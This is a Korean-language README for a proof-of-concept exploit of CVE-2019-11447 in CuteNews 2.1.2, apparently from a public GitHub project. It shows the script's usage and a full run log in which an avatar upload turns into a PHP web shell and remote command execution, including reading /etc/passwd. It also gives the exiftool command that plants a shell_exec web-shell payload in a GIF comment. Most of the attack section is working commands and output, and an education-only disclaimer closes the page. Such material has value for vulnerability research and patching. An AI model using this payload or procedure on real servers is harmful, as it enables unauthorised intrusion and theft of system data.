
CuteNews 2.1.2 - CVE-2019-11447 개념 증명
CuteNews 2.1.2 - CVE-2019-11447 개념 증명
POC 작성자: CRFSlick, 발견자: AkkuS <Özkan Mustafa Akkuş>
CutePHP CuteNews 2.1.2에서 문제가 발견되었습니다. 공격자는 프로필 영역의 아바타 업로드 과정을 통해 avatar_file 필드를 사용하여 index.php?mod=main&opt=personal로 서버에 침투할 수 있습니다. /core/modules/dashboard.php에서 $imgsize에 대한 효과적인 제어가 없습니다. 파일의 헤더 내용을 변경하고 제어를 우회하여 코드 실행이 가능합니다. (공격자는 이를 위해 GIF 헤더를 사용할 수 있습니다.)
Usage:
CVE-2019-1144.py <username> <password> <base uri / login page>
Example:
CVE-2019-1144.py admin p4ssw0rd http://192.168.1.19/CuteNews/index.php
┌──(slick㉿kali)-[~/CVE-2019-11447-POC]
└─$ python3 CVE-2019-11447.py admin p4ssw0rd http://192.168.1.19/CuteNews/index.php
-.-. --- --- .-.. .... ....- -..- --- .-. -... .- -. -. . .-.
[*] Detected version 'CuteNews 2.1.2'
[*] Grabbing session cookie
[*] Logging in as admin:p4ssw0rd
[+] Login Success!
[*] Grabbing __signature_key and __signature_dsi needed for pofile update request
[+] __signature_key: 45ad06a9fc89f75e7ef046a11079c33d-admin
[+] __signature_dsi: 71e41d6500f2dc51d0606f64539f84b1
[*] Uploading evil avatar... Done!
[*] Validating that the file was uploaded... Yup!
[+] http://192.168.1.19/CuteNews/uploads/avatar_admin_5629.php?cmd=<cmd>
[*] Looks like everything went smoothly, lets see if we have RCE!
[*] Keep in mind that this shell is limited, no STDERR
$> whoami
www-data
$> cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
악성 GIF는 인터넷에서 가져온 후 exiftool을 사용하여 필요한 PHP 코드를 삽입하도록 수정되었습니다.
┌──(slick㉿kali)-[~/CVE-2019-11447-POC]
└─$ exiftool -Comment='<?php echo "'"\n\ndGhpc3dlYnNoZWxsb3V0cHV0c3RhcnRzaGVyZQ==\n\n\n"'"; echo shell_exec($_GET["'"cmd"'"]); echo "'"\n\ndGhpc3dlYnNoZWxsb3V0cHV0ZW5kc2hlcmU=\n\n"'";?>' sad.gif
Exiftool은 이미지의 메타데이터를 보여주며, 댓글 안에 삽입된 PHP 코드를 찾을 수 있습니다.
┌──(slick㉿kali)-[~/CVE-2019-11447-POC]
└─$ exiftool sad.gif
ExifTool Version Number : 12.05
File Name : sad.gif
...
Comment : <?php echo "\n\ndGhpc3dlYnNoZWxsb3V0cHV0c3R...
이 프로젝트는 교육 목적으로만 제공되며, 법률 위반이나 개인적 이득을 위해 사용될 수 없습니다. 이 프로젝트의 작성자는 자료로 인해 발생할 수 있는 어떠한 피해에 대해서도 책임을 지지 않습니다.